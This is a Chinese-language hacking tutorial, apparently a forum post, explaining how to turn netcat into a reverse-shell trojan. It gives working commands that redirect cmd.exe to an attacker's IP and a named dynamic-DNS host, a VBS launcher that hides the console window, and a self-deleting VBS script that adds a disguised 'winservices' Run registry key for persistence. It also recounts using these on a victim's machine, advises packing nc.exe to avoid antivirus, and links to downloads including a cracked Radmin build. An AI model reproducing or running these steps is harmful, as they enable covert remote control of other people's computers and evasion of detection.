利用NC來(lái)制作自己的反彈木馬
利用NC 來(lái)制作自己的反彈木馬免責(zé)申明:我也是第一次公開(kāi)寫這樣的東西, 不過(guò)寫此文的目的是為了技術(shù)上的研究, 把我自己的一些方法和技巧講出來(lái), 和大家一起探討, 希望大家能提出意見(jiàn). 并不是教大家如何
利用NC 來(lái)制作自己的反彈木馬
免責(zé)申明:我也是第一次公開(kāi)寫這樣的東西, 不過(guò)寫此文的目的是為了技術(shù)上的研究, 把我自己的一些方法和技巧講出來(lái), 和大家一起探討, 希望大家能提出意見(jiàn). 并不是教大家如何利用此方法去破壞別人的電腦! 請(qǐng)不要用于非法目的, 否 則一切責(zé)任自負(fù)與我無(wú)關(guān), 呵呵~~~我可不想做黑鷹的大米呀.
一、必須掌握的基礎(chǔ)知識(shí);
NC 這個(gè)工具對(duì)于一個(gè)黑客來(lái)說(shuō)再熟悉不過(guò)了, 可以說(shuō)是每個(gè)黑客必備工具之一, 被稱做黑客的一把瑞士軍刀! 可見(jiàn)其地位之高. 大家有興趣的話自己去看一下有關(guān)NC 的一些詳細(xì)用法吧, 我在這里就不多說(shuō)了, 這不是我這次要講的主題, 我只把其中我用到的一些參數(shù)介紹給大家.NC 并不是一個(gè)圖形界面的工具, 但它 有很強(qiáng)大的正向鏈接、反向鏈接、掃描和監(jiān)聽(tīng)PORT 等功能!
對(duì)于木馬,它的種類也有很多,但最讓人喜歡的還是具有反彈功能的木馬,它可以讓我們一勞永逸,一次種植成功以后便自動(dòng)找上門來(lái),呵呵~~~事半功倍呀!這也是我喜歡反向鏈接木馬的一個(gè)原因。(對(duì)于正向鏈接我最喜歡的一個(gè)工具就是radmin ,原因就是它不會(huì)被殺。)至于如何讓別人中了你的木馬、如何去入侵對(duì)方,然后給他種馬我就不說(shuō)了(這也不是我這次要說(shuō)的主題)方法和手法有很多,就看你的技術(shù)了。當(dāng)你成功入侵一臺(tái)機(jī)子后,你想做的事當(dāng)然是永遠(yuǎn)的抓住它,不要讓他輕易的溜走,那就趕快上傳你自己的木馬吧!這是我的通常做法。這時(shí)一個(gè)優(yōu)秀的木馬會(huì)給我們很大幫助。
還是來(lái)說(shuō)NC 吧。它的使的格式是這樣的,在CMD 下輸入:NC.EXE [參數(shù)1] [參數(shù)2] …… 主機(jī)名(或IP )。
NC 有很多的參數(shù),它的功能就體現(xiàn)在這些參數(shù)上。這里有幾個(gè)要用到的、必需掌握的參數(shù)給大家簡(jiǎn)略的介紹一下:
-l 監(jiān)聽(tīng)模式,可以監(jiān)聽(tīng)本地的PORT 即端口;
-p 設(shè)置端口,后加端口號(hào);
-v 顯示詳細(xì)信息,
-vv 顯示更詳細(xì)信息;
-t 以telnet 交互方式來(lái)回應(yīng);
-e 程序重定向,可以把目標(biāo)機(jī)的CMD 重定向到一個(gè)端口上,然后我們?cè)诒緳C(jī)進(jìn)行監(jiān)聽(tīng),這樣就可以得到目標(biāo)機(jī)的SHELL 了,具體看后面我講的例子吧;
-d 后臺(tái)模式;主要的參數(shù)就這么多吧,我們通過(guò)下面的例 子來(lái)一步一步學(xué)習(xí)吧!
二、簡(jiǎn)單的幾個(gè)例子;
例如對(duì)本機(jī)TCP 端口90的監(jiān)聽(tīng):nc.exe -l -v -p 90 127.0.0.1 意思是 臨聽(tīng)本機(jī)的TCP 端口90(如圖1)。
,
(在這里如果是本機(jī)的話,可以省去主機(jī)名或IP ,即不寫127.0.0.1這時(shí)默認(rèn)就是本機(jī)。還有默認(rèn)情況下-p 端口就指的是TCP 如果要臨聽(tīng)UDP 端口,則要加-u 參數(shù)!)我們來(lái)驗(yàn)證一下結(jié)果,看是不是真的監(jiān)聽(tīng)我們本機(jī)的90端口,先不運(yùn)行NC 我們用netstat -an這個(gè)命令來(lái)查看一下本機(jī)的端口,結(jié)果(如圖2)

沒(méi)有發(fā)現(xiàn)TCP90端口被開(kāi)放,我們運(yùn)行nc.exe -l -v -p 90這樣一個(gè)命令后,這時(shí)不要關(guān)閉這個(gè)監(jiān)聽(tīng)窗口,再開(kāi)一個(gè)CMD ,然后再用nbtstat -an來(lái)查看本機(jī) 所開(kāi)放的端口,這時(shí)會(huì)發(fā)現(xiàn)TCP90端口被打開(kāi)(如圖3)

如果你有fport 這個(gè)工具的話,你還可以進(jìn)一步查看到是哪個(gè)程序打開(kāi)了本機(jī) TCP90端口?。ㄈ鐖D4)
,
(關(guān)于nbtstat 和fport 我就不做介紹了)。先來(lái)看一個(gè)正向鏈接的例子,當(dāng)我們成功進(jìn)入別人的機(jī)子并上傳了NC 后,可以用這樣一個(gè)命令來(lái)實(shí)現(xiàn)正向鏈接,(假設(shè)目標(biāo)機(jī)的IP 為222.91.203.208)在目標(biāo)機(jī)上運(yùn)行nc 127.0.0.1 123 -e cmd.exe即把它的cmd 定向到它自己的123端口上。那么我們?cè)诒緳C(jī)上就可以用nc -l -v 222.91.203.208 -p 123來(lái)監(jiān)聽(tīng)它的123端口,從而得到對(duì)方的cmd 。或者用這樣簡(jiǎn)單的命令來(lái)把CMD 定向到99端口:nc -l -p 99 -t -e cmd.exe 然后我們?cè)诒緳C(jī)上用telnet 來(lái)鏈接目標(biāo)機(jī), 同樣可以得到對(duì)方的shell. 比如目標(biāo)機(jī)的IP 為:192.168.199.1,那么我們用telnet 192.168.199.1 99來(lái)鏈接對(duì)方!(如圖5).

以上就是兩個(gè)正向鏈接的例子, 其實(shí)也很簡(jiǎn)單, 相信到此大家對(duì)nc 應(yīng)該有了一個(gè) 大概的了解了吧? 接下來(lái)我想重點(diǎn)說(shuō)說(shuō)它的反向鏈接功能。
三、反向鏈接的實(shí)現(xiàn);
所謂反向鏈接, 簡(jiǎn)單的說(shuō)就是目標(biāo)機(jī)主動(dòng)來(lái)鏈接我們的機(jī)子, 而不用我們主動(dòng)去找他, 這樣我們就省事的多了, 當(dāng)目標(biāo)機(jī)上線后會(huì)自動(dòng)來(lái)鏈接我們?cè)O(shè)定的端口(這算是我個(gè)人的理解吧, 我也沒(méi)有一個(gè)準(zhǔn)確的定義). 我們下面一步步來(lái)解實(shí)現(xiàn), 一步步來(lái)解決其中出現(xiàn)的問(wèn)題, 最終實(shí)現(xiàn)我們的目的!
一個(gè)簡(jiǎn)單的例子, 假設(shè)我們的IP 為:219.144.20.42 那么在目標(biāo)機(jī)上我們可以用這樣的命令來(lái)實(shí)現(xiàn)反彈:nc -t -e cmd.exe 219.144.20.42 99(如圖6).
,
它的意思就是, 把cmd 定向在219.144.20.42(我們機(jī)子) 的99端口上, 那么我們?cè)诒緳C(jī)上直接監(jiān)聽(tīng)99端口, 就可的到shell,nc -l -p 99(如圖7)

(一點(diǎn)說(shuō)明, 就是以上操作應(yīng)當(dāng)先在本機(jī)監(jiān)聽(tīng), 然后在目標(biāo)機(jī)上執(zhí)行重定向, 這樣才能實(shí)現(xiàn)反彈!). 以上反彈的實(shí)現(xiàn)看起來(lái)很容易就能實(shí)現(xiàn), 但細(xì)想一下, 在我們實(shí)際情況中并不是這樣簡(jiǎn)單的, 首先這樣的反彈只是一次性的! 因?yàn)閷?duì)方和我們一般來(lái)說(shuō)都是個(gè)人用戶, 都是動(dòng)態(tài)的IP, 重啟后下次就不能用nc -t -e cmd.exe 219.144.20.42 99來(lái)和我們進(jìn)行鏈接, 因?yàn)槲覀兊腎P 地址已經(jīng)發(fā)生了變化! 而且我們也不可能當(dāng)我們的IP 地址每變一次, 我們就去入侵他一次, 然后改變我們剛才的IP 地址, 這是不現(xiàn)實(shí)的. 那么怎樣來(lái)解決這一問(wèn)題呢? 怎樣才能讓它, 當(dāng)我們的IP 發(fā)生變化后仍然可以實(shí)現(xiàn)把它的shell 反彈到我們的機(jī)子上來(lái)呢?
這是關(guān)鍵的一步, 為此我也曾冥思苦想, 好長(zhǎng)時(shí)間沒(méi)有想出一個(gè)解決的辦法. 也沒(méi)有人告訴我該怎么做! 不過(guò)我并沒(méi)有因此而放棄, 我用nc 本身所帶的參數(shù)并不能實(shí)現(xiàn)我所要的功能, 于是我把思路轉(zhuǎn)在了nc 之外, 很快我想到" 域名轉(zhuǎn)向" 這個(gè)方法, 即使用動(dòng)態(tài)域名! 呵呵~~我終于成功了, 功夫不負(fù)有心人啊, 真的是有感而發(fā). 我使用的是希網(wǎng)網(wǎng)絡(luò)提供的免費(fèi)動(dòng)態(tài)域名, 大家可以到3322.org 這個(gè)網(wǎng)上去注冊(cè)一個(gè)! 注冊(cè)成功后會(huì)得到一個(gè):用戶名.3322.org 的動(dòng)態(tài)域名, 然后下載客戶端軟件, 便可實(shí)現(xiàn)了!(關(guān)于動(dòng)態(tài)域名的一些知識(shí)以及如何申請(qǐng)、使用客戶端我在這里就不講了, 我只能說(shuō)這不是我要講的主題,有興趣的朋友可以自己去試一下,很簡(jiǎn)單的) 。我申請(qǐng)的是godya.3322.org 并在本機(jī)上安裝客戶端軟件(如圖8)。
,
這樣我們就可以用以下命令來(lái)實(shí)現(xiàn)反彈:nc -t -e cmd.exe godya.3322.org 7788 -d 我想大家一定能明白這行命令的意思吧?就是將本機(jī)的cmd 重定向在godya.3322.org 的7788端口上,這里的godya.3322.org 就是我注冊(cè)的動(dòng)態(tài)域名轉(zhuǎn)向了,因此無(wú)論我的IP 如何變化都能夠轉(zhuǎn)到我的機(jī)子上來(lái),只要在我的機(jī)子上監(jiān)聽(tīng)7788端口便可以了,這樣就實(shí)現(xiàn)了反彈的目的了,呵呵~~~現(xiàn)在想來(lái)其實(shí)也很簡(jiǎn)單的了,我基本什么也沒(méi)有做!到此可以說(shuō)理論上已經(jīng)完成了,下 一步就是怎樣來(lái)完善了。
四、用VBS 編程來(lái)實(shí)現(xiàn)
通過(guò)剛才的例子我們可以知道,只用nc -t -e cmd.exe godya.3322.org 7788 -d這樣一句命令就可以實(shí)現(xiàn)反向鏈接了,那么如何讓目標(biāo)機(jī)一開(kāi)機(jī)就把它的cmd 定向到我的機(jī)子上來(lái)了呢? 很多朋友會(huì)立刻想到用批處理來(lái)實(shí)現(xiàn), 這的確是一個(gè)不錯(cuò)的主意, 用批處理最簡(jiǎn)單、最容易實(shí)現(xiàn),對(duì)我們來(lái)說(shuō)也是比較的熟悉。但是用批處理有一個(gè)弊端,就是當(dāng)我們把以上命令存為一個(gè)批處理文件并運(yùn)行這個(gè)批處理時(shí),會(huì)有一個(gè)DOS 窗口一閃而過(guò),雖然來(lái)不及看是什么,但別人一看也就明白了,這樣很容易就會(huì)被發(fā)現(xiàn)!那么如何來(lái)避免呢?我采取的是用VBS 來(lái)編程實(shí)現(xiàn),使用它的好處就是它不會(huì)彈出DOS 窗口,同樣能夠完成批處理的功能。(關(guān)于VBS 的一些知識(shí)我不能在這里給大家介紹了,雖然我是只懂得一點(diǎn)點(diǎn),但說(shuō)起來(lái)恐怕真的三天也講不明白個(gè)所以然,會(huì)影響了我要說(shuō)的主題,也恐怕會(huì)引起一些人的不滿,說(shuō)我盡說(shuō)些無(wú)關(guān)的話題,所以我寫的程序我就不做詳細(xì)解釋了,如果看不懂的話可以照搬我程序,請(qǐng)大家原諒?。┱?qǐng)將以下程序另存為nc.vbs 然后和nc.exe 一起存放在目標(biāo)機(jī)的systemrootsystem32下即可,然后我們?cè)诒緳C(jī)上監(jiān)聽(tīng)7788端口,在目標(biāo)機(jī)上運(yùn)行nc.vbs 就能得到對(duì)方的shell 。
nc.vbs 程序內(nèi)容如下:
dim wshell
,set wshell=CreateObject("wscript.shell")
wshell.run "nc -t -e cmd.exe godya.3322.org 7788 -d",0,true 上面的程序其實(shí)就是執(zhí)行了nc -t -e cmd.exe godya.3322.org 7788 –d
這樣一條語(yǔ)句。 當(dāng)我們成功的把nc.vbs 和nc.exe 上傳到目標(biāo)機(jī)上后,下一步如何讓它實(shí)現(xiàn)自動(dòng)運(yùn)行的方法就有很多了,我想大家也能想到一些辦法的,還是看我的一個(gè)具體實(shí)例吧。前提是我已經(jīng)通過(guò)其它方法成功進(jìn)入了別人的一臺(tái)機(jī)子,并用radmin 建立了正向鏈接,而且也已經(jīng)上傳了nc.vbs 和nc.exe 這個(gè)不說(shuō)了,看圖吧(如圖9)。

接下來(lái)我在我的機(jī)子上開(kāi)始監(jiān)聽(tīng)7788端口(如圖10)。

我通過(guò)radmin 的遠(yuǎn)程telnet 功能在目標(biāo)機(jī)上運(yùn)行nc.vbs ,然后就在我的機(jī)子上到得了對(duì)方的shell (如圖11),
,
從圖中大家也可以看得出,我的機(jī)子是2000系統(tǒng)而對(duì)方的是XP !既然我得到了對(duì)方的shell 那么我就可以想做什么做什么了,呵呵~~。進(jìn)一步查看一下對(duì)方的機(jī)子吧,我查看了一下他機(jī)子的boot.ini 發(fā)現(xiàn)這是一臺(tái)xp Home Edition版的機(jī)子(如圖12)。

我下步要做的就是把nc.vbs 添加到目標(biāo)機(jī)的autoexec.bat 中,目的就是讓它開(kāi)機(jī)自動(dòng)運(yùn)行,來(lái)實(shí)現(xiàn)真正的反彈呀!呵呵`~~~。我通過(guò)echo 命令結(jié)合>>來(lái)給
它添加(如圖13)。
,
讓它自動(dòng)運(yùn)行的方法有很多種,剛才我用的是修改autoexec.bat 的方法來(lái)實(shí)現(xiàn),我再講一下添加注冊(cè)表的方法吧,我同樣用vbs 來(lái)完成。我們知道如果在注冊(cè)表中HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun這個(gè)位置添加鍵值,便會(huì)開(kāi)機(jī)自動(dòng)運(yùn)行。所以我就用vbs 程序來(lái)在以上位置添加nc.vbs ,文件名為auto.vbs 。為了更加的隱蔽,我又添加了能實(shí)現(xiàn)自我刪除的功能,就是當(dāng)運(yùn)行完auto.vbs 文件后它首先會(huì)將systemrootsystem32nc.vbs添加到注冊(cè)表中Run 下,然后就自我刪除!為了實(shí)現(xiàn)能夠自我刪除,我也想了好長(zhǎng)時(shí)間、好多辦法最后終于成功了,可能我的方法不是很正規(guī)和科學(xué),但因水平有限只能暫且這樣了,呵呵~~~看程序吧,
將以下程序保存為auto.vbs 。內(nèi)容如下: Dim AutoR
Set AutoR=WScript.CreateObject("WScript.Shell")
RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"
Type_Name="REG_SZ" Key_Name="winservices"
Key_Data="SystemRootsystem32nc.vbs"
AutoR.RegWrite RegPath&Key_Name,Key_Data,Type_Name
Dim delself
Set delself = WScript.CreateObject ("WSCript.shell")
delself.run "COMSPEC /c del auto.vbs",0,true
那么當(dāng)我們把nc.exe 和nc.vbs 存放在目標(biāo)機(jī)的SystemRootsystem32下以后,就可以在目標(biāo)機(jī)上直接運(yùn)行auto.vbs (位置可以任意,但文件名必須與程序內(nèi)的一至,否則不能完成自我刪除!)。它會(huì)自動(dòng)在注冊(cè)表中新建一個(gè)名為winservices 的鍵值,并將值設(shè)為SystemRootsystem32nc.vbs這樣就將nc.vbs 添加到了注冊(cè)表中(如圖14)。
,
這樣一來(lái)我們就比較的省事了,而且運(yùn)行完auto.vbs 文件后它就刪除了自己,使我們的木馬更加的隱蔽!
五、總結(jié);
每次到此都要總結(jié)一下,這似乎成了習(xí)慣,總想再說(shuō)幾句。為了寫這個(gè)教程我也花了很大的功夫,也花了很多的時(shí)間,我這一講主要針對(duì)的是菜鳥(niǎo)入門級(jí)的朋友,所以在講的過(guò)程中我盡力把一些需要掌握的東西講清楚、講詳細(xì)希望大多數(shù)朋友都能夠接受。當(dāng)然在其中可能有一些象vbs 、域名轉(zhuǎn)向、nc 的一些參數(shù)等等可能不容易理解,但我想只要你認(rèn)真、仔細(xì)的去看我的每一步操作過(guò)程應(yīng)當(dāng)也不會(huì)覺(jué)得太難,所以希望大家多動(dòng)手實(shí)踐,有條件的可以一步步的試驗(yàn)一下,這樣理解起來(lái)也容易些,說(shuō)不定你也會(huì)有自己不同的方法和收獲。感謝 閱讀!
申明:nc.exe 會(huì)被一般殺毒軟件當(dāng)做一個(gè)hacktools (黑客工具)而殺掉,如果你想不被殺的話,就請(qǐng)自己動(dòng)手加殼或加花吧,我在這里就不說(shuō)具體的過(guò)程了
(由于這是本人原創(chuàng)有描述或技術(shù)上的錯(cuò)誤請(qǐng)指出!)————雛鷹
本文用到的工具
nc http://www.400gb.com/file/73430433
Radmin3.2影子版注冊(cè)版 http://www.400gb.com/file/73430469
其他一些遠(yuǎn)控實(shí)用工具:http://www.400gb.com/file/73430589